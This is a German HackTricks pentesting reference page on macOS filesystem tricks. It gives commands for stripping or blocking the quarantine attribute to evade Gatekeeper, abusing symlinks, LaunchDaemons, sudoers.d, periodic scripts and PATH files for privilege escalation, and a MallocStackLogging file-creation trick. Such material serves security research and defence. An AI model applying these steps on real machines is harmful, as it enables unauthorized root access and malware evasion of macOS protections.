German - Ht
HackTricks Training Twitter Linkedin Sponsor

macOS FS Tricks

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Kombinationen von POSIX-Berechtigungen

Berechtigungen in einem Verzeichnis:

  • Lesen - Sie können die Verzeichniseinträge auflisten

  • Schreiben - Sie können Dateien im Verzeichnis löschen/schreiben und leere Ordner löschen.

  • Sie können jedoch keine nicht leeren Ordner löschen/ändern, es sei denn, Sie haben Schreibberechtigungen dafür.

  • Sie können den Namen eines Ordners nicht ändern, es sei denn, Sie besitzen ihn.

  • Ausführen - Sie dürfen das Verzeichnis durchqueren - wenn Sie dieses Recht nicht haben, können Sie nicht auf Dateien darin oder in Unterverzeichnissen zugreifen.

Gefährliche Kombinationen

Wie man eine von root besessene Datei/einen von root besessenen Ordner überschreibt, aber:

  • Ein Eltern-Verzeichnisbesitzer im Pfad ist der Benutzer

  • Ein Eltern-Verzeichnisbesitzer im Pfad ist eine Benutzergruppe mit Schreibzugriff

  • Eine Benutzer-Gruppe hat Schreibzugriff auf die Datei

Mit einer dieser vorherigen Kombinationen könnte ein Angreifer einen sym/hard link in den erwarteten Pfad einfügen, um einen privilegierten beliebigen Schreibzugriff zu erlangen.

Besonderer Fall des Ordners root R+X

Wenn es Dateien in einem Verzeichnis gibt, auf die nur root Lese- und Ausführungszugriff hat, sind diese für niemand anderen nicht zugänglich. Daher könnte eine Schwachstelle, die es ermöglicht, eine von einem Benutzer lesbare Datei zu verschieben, die aufgrund dieser Einschränkung nicht gelesen werden kann, aus diesem Verzeichnis in ein anderes zu verschieben, missbraucht werden, um diese Dateien zu lesen.

Beispiel unter: https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions

Symbolischer Link / Hard Link

Wenn ein privilegierter Prozess Daten in einer Datei schreibt, die von einem niedriger privilegierten Benutzer kontrolliert werden könnte oder die von einem niedriger privilegierten Benutzer zuvor erstellt wurde. Der Benutzer könnte einfach über einen Symbolischen oder Hard-Link darauf zeigen und der privilegierte Prozess wird in diese Datei schreiben.

Überprüfen Sie in den anderen Abschnitten, wo ein Angreifer einen beliebigen Schreibzugriff missbrauchen könnte, um Privilegien zu eskalieren.

.fileloc

Dateien mit der Erweiterung .fileloc können auf andere Anwendungen oder Binärdateien verweisen, sodass beim Öffnen die Anwendung/Binärdatei ausgeführt wird. Beispiel:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>

Beliebige FD

Wenn Sie einen Prozess dazu bringen können, eine Datei oder einen Ordner mit hohen Berechtigungen zu öffnen, können Sie crontab missbrauchen, um eine Datei in /etc/sudoers.d mit EDITOR=exploit.py zu öffnen, sodass exploit.py den FD zur Datei innerhalb von /etc/sudoers erhalten und ihn missbrauchen kann.

Zum Beispiel: https://youtu.be/f1HA5QhLQ7Y?t=21098

Tricks zum Vermeiden von Quarantäne-xattrs

Entfernen Sie es

xattr -d com.apple.quarantine /path/to/file_or_app

uchg / uchange / uimmutable Flag

Wenn eine Datei/ein Ordner dieses unveränderliche Attribut hat, ist es nicht möglich, ein xattr darauf zu setzen.

echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'

ls -lO /tmp/asd
# check the "uchg" in the output

defvfs mount

Ein devfs-Mount unterstützt keine xattr, weitere Informationen unter CVE-2023-32364

mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'

writeextattr ACL

Diese ACL verhindert das Hinzufügen von xattrs zur Datei.

rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr

cd /tmp
echo y | rm test

# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test

# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test

com.apple.acl.text xattr + AppleDouble

Das Dateiformat AppleDouble kopiert eine Datei einschließlich ihrer ACEs.

Im Quellcode ist zu sehen, dass die ACL-Textdarstellung, die im xattr mit dem Namen com.apple.acl.text gespeichert ist, als ACL in der dekomprimierten Datei festgelegt wird. Wenn Sie also eine Anwendung in eine Zip-Datei mit dem Dateiformat AppleDouble komprimiert haben, die eine ACL enthält, die das Schreiben anderer xattrs verhindert... wurde der Quarantäne-xattr nicht in die Anwendung gesetzt:

Überprüfen Sie den Originalbericht für weitere Informationen.

Um dies zu replizieren, müssen wir zuerst den richtigen ACL-String erhalten:

# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs

# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip

# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test

(Note that even if this works the sandbox write the quarantine xattr before)

Nicht wirklich notwendig, aber ich lasse es dort für den Fall:

pagemacOS xattr-acls extra stuff

Umgehung von Codesignaturen

Bundles enthalten die Datei _CodeSignature/CodeResources, die den Hash jeder einzelnen Datei im Bundle enthält. Beachten Sie, dass der Hash von CodeResources auch im ausführbaren Code eingebettet ist, sodass wir daran nichts ändern können.

Es gibt jedoch einige Dateien, deren Signatur nicht überprüft wird. Diese haben den Schlüssel omit in der Plist, wie:

<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>

Es ist möglich, die Signatur einer Ressource über die Befehlszeile mit folgendem Befehl zu berechnen:

openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64

Normalerweise bindet macOS die Festplatte über den com.apple.DiskArbitration.diskarbitrationd Mach-Dienst ein (bereitgestellt von /usr/libexec/diskarbitrationd). Wenn Sie dem LaunchDaemons-Platine die Option -d hinzufügen und neu starten, werden Protokolle im Verzeichnis /var/log/diskarbitrationd.log gespeichert. Es ist jedoch möglich, Tools wie hdik und hdiutil zu verwenden, um direkt mit dem com.apple.driver.DiskImages kext zu kommunizieren.

Willkürliche Schreibvorgänge

Periodische sh-Skripte

Wenn Ihr Skript als Shell-Skript interpretiert werden könnte, könnten Sie das /etc/periodic/daily/999.local Shell-Skript überschreiben, das jeden Tag ausgelöst wird.

Sie können die Ausführung dieses Skripts vortäuschen mit: sudo periodic daily

Daemons

Schreiben Sie einen beliebigen LaunchDaemon wie /Library/LaunchDaemons/xyz.hacktricks.privesc.plist mit einem Plist, das ein beliebiges Skript ausführt, wie:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

Sudoers-Datei

Wenn Sie über beliebige Schreibrechte verfügen, könnten Sie eine Datei im Ordner /etc/sudoers.d/ erstellen, um sich sudo-Berechtigungen zu gewähren.

PATH-Dateien

Die Datei /etc/paths ist einer der Hauptorte, die die PATH-Umgebungsvariable befüllen. Sie müssen root sein, um sie zu überschreiben, aber wenn ein Skript von einem privilegierten Prozess einige Befehle ohne vollständigen Pfad ausführt, könnten Sie es möglicherweise übernehmen, indem Sie diese Datei ändern.

Sie können auch Dateien in /etc/paths.d schreiben, um neue Ordner in die PATH-Umgebungsvariable zu laden.

Generieren von beschreibbaren Dateien als andere Benutzer

Dies wird eine Datei generieren, die root gehört und von mir beschreibbar ist (Code von hier). Dies könnte auch als Privilege-Escalation funktionieren:

DIRNAME=/usr/local/etc/periodic/daily

mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"

MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername

FILENAME=$(ls "$DIRNAME")
echo $FILENAME

POSIX Shared Memory

POSIX Shared Memory ermöglicht Prozessen in POSIX-konformen Betriebssystemen den Zugriff auf einen gemeinsamen Speicherbereich, was eine schnellere Kommunikation im Vergleich zu anderen Interprozesskommunikationsmethoden ermöglicht. Es beinhaltet das Erstellen oder Öffnen eines gemeinsamen Speicherobjekts mit shm_open(), das Festlegen seiner Größe mit ftruncate() und das Abbilden in den Adressraum des Prozesses mit mmap(). Prozesse können dann direkt auf diesen Speicherbereich lesen und schreiben. Zur Verwaltung des gleichzeitigen Zugriffs und zur Verhinderung von Datenkorruption werden oft Synchronisierungsmechanismen wie Mutexe oder Semaphoren verwendet. Schließlich trennen Prozesse den gemeinsamen Speicher mit munmap() und close() und entfernen optional das Speicherobjekt mit shm_unlink(). Dieses System ist besonders effektiv für eine effiziente, schnelle IPC in Umgebungen, in denen mehrere Prozesse schnell auf gemeinsame Daten zugreifen müssen.

Beispielcode für Produzenten

```c // gcc producer.c -o producer -lrt #include #include #include #include #include #include

int main() { const char *name = "/my_shared_memory"; const int SIZE = 4096; // Size of the shared memory object

// Create the shared memory object int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666); if (shm_fd == -1) { perror("shm_open"); return EXIT_FAILURE; }

// Configure the size of the shared memory object if (ftruncate(shm_fd, SIZE) == -1) { perror("ftruncate"); return EXIT_FAILURE; }

// Memory map the shared memory void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); if (ptr == MAP_FAILED) { perror("mmap"); return EXIT_FAILURE; }

// Write to the shared memory sprintf(ptr, "Hello from Producer!");

// Unmap and close, but do not unlink munmap(ptr, SIZE); close(shm_fd);

return 0; }

</details>

<details>

<summary>Beispiel für Verbrauchercode</summary>
```c
// gcc consumer.c -o consumer -lrt
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096; // Size of the shared memory object

// Open the shared memory object
int shm_fd = shm_open(name, O_RDONLY, 0666);
if (shm_fd == -1) {
perror("shm_open");
return EXIT_FAILURE;
}

// Memory map the shared memory
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return EXIT_FAILURE;
}

// Read from the shared memory
printf("Consumer received: %s\n", (char *)ptr);

// Cleanup
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name); // Optionally unlink

return 0;
}

macOS Geschützte Deskriptoren

macOS geschützte Deskriptoren sind eine Sicherheitsfunktion, die in macOS eingeführt wurde, um die Sicherheit und Zuverlässigkeit von Dateideskriptoroperationen in Benutzeranwendungen zu verbessern. Diese geschützten Deskriptoren bieten eine Möglichkeit, spezifische Einschränkungen oder "Guards" mit Dateideskriptoren zu verknüpfen, die vom Kernel durchgesetzt werden.

Diese Funktion ist besonders nützlich, um bestimmte Klassen von Sicherheitslücken wie unberechtigten Dateizugriff oder Rennbedingungen zu verhindern. Diese Sicherheitslücken treten auf, wenn beispielsweise ein Thread auf eine Dateibeschreibung zugreift, die einem anderen gefährdeten Thread Zugriff darauf gibt, oder wenn ein Dateideskriptor von einem gefährdeten Kindprozess geerbt wird. Einige Funktionen im Zusammenhang mit dieser Funktionalität sind:

  • guarded_open_np: Öffnet einen FD mit einem Guard

  • guarded_close_np: Schließt ihn

  • change_fdguard_np: Ändert die Guard-Flags an einem Deskriptor (auch die Guard-Schutz entfernen)

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PreviousmacOS Dangerous Entitlements & TCC permsNextmacOS xattr-acls extra stuff

Last updated